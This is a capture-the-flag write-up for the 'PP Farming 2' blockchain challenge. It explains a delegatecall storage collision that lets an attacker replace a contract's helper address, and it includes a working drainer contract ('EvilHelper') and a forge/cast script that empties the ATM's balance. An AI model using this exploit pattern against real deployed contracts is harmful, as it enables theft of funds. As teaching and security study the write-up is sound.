PP Farming 2
PP Farming 2
Platform: sekai2026 | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-28 | Status: Solved Techniques: delegatecall_storage_collision, malicious_helper_contract, proxy_implementation_hijack
Summary
Task: Ethereum ATM contract patched against the original reentrancy bug but still exposing a delegatecall proxy to a helper. Solution: call setATM through the fallback to overwrite the helper slot, then delegatecall a malicious helper that drains the ATM balance.
PP Farming 2 — sekai2026
Description
I fixed the issue. I think...
English summary: the attachment was an AES-encrypted ZIP. The prompt said to use the previous PP Farming flag as the password; that previous flag was only a password/context value, not the final flag for this challenge. After decryption, the goal was to drain an Ethereum PerformancePointATM instance so that isSolved() returned true.
Analysis
The original PP Farming bug was a straightforward reentrancy issue, but PP Farming 2 adds a noReentrancy modifier to withdrawPP(). The successful exploit is therefore not reentrancy.
The decrypted source contains two relevant contracts:
PerformancePointHelperstorage layout:- slot 0:
id_number - slot 1:
atm - slot 2:
helping
- slot 0:
PerformancePointATMstorage layout:- slot 0:
scoresmapping - slot 1:
performancePointHelper - slot 2:
locked
- slot 0:
PerformancePointATM.withdrawPP() reads the caller's score, enters noReentrancy, and then executes:
solidity read-only • copy allowedperformancePointHelper.delegatecall( abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score) ); scores[msg.sender] = 0;
The fallback function also proxies arbitrary calls to performancePointHelper using delegatecall. It blocks only the selector for processWithdrawal(address,uint256), but it does not block other helper functions such as setATM(address).
That creates a storage-collision primitive. Calling setATM(address) on the ATM reaches the fallback, which delegatecalls the helper. In the helper, setATM writes helper slot 1 (atm). Under delegatecall, slot 1 belongs to the ATM, so this overwrites PerformancePointATM.performancePointHelper. An attacker can replace the helper implementation with an arbitrary contract.
Once the helper address is replaced, withdrawPP() delegatecalls attacker-controlled code. During a delegatecall, address(this) is still the ATM, so attacker code can send the ATM's entire balance.
Solution
The malicious helper ignores the requested withdrawal amount and transfers address(this).balance to the recipient:
solidity read-only • copy allowed// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract EvilHelper { function processWithdrawal(address payable recipient, uint256) external returns (bool) { (bool success, ) = recipient.call{value: address(this).balance}(""); return success; } }
Exploit steps:
- Deploy
EvilHelper. - Call the ATM with the helper function signature
setATM(address)and theEvilHelperaddress. This is routed through the ATM fallback and overwrites slot 1, changingperformancePointHelper. - Donate a minimal positive score, for example 1 wei, to satisfy
require(score > 0)inwithdrawPP(). - Call
withdrawPP(). The ATM delegatecallsEvilHelper.processWithdrawal, which drains the full ATM balance to the player. - Check
isSolved()and the ATM balance.
Full command pattern:
bash read-only • copy allowed#!/usr/bin/env bash set -euo pipefail # Required environment variables: # RPC_URL instance RPC endpoint # PRIVATE_KEY funded challenge account private key # ATM deployed PerformancePointATM address forge create --broadcast --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" EvilHelper.sol:EvilHelper # Put the deployed address from forge output here. EVIL="0x..." PLAYER=$(cast wallet address --private-key "$PRIVATE_KEY") # Fallback delegatecall: PerformancePointHelper.setATM(address) writes ATM slot 1. cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \ "$ATM" "setATM(address)" "$EVIL" # Create a non-zero score for the caller. cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" --value 1 \ "$ATM" "donatePP(address)" "$PLAYER" # Delegatecalls EvilHelper.processWithdrawal and drains the ATM. cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \ "$ATM" "withdrawPP()" cast call --rpc-url "$RPC_URL" "$ATM" "isSolved()(bool)" cast balance --rpc-url "$RPC_URL" "$ATM"
On the solved live instance, the ATM was 0x06a7D5480d3028827aB0bc33B23D1758CF182aE5 and the deployed EvilHelper was 0x6ef7d2F61D6dC572063897977A29c9c7231390E9. After the exploit, isSolved() returned true and the ATM balance was 0 wei.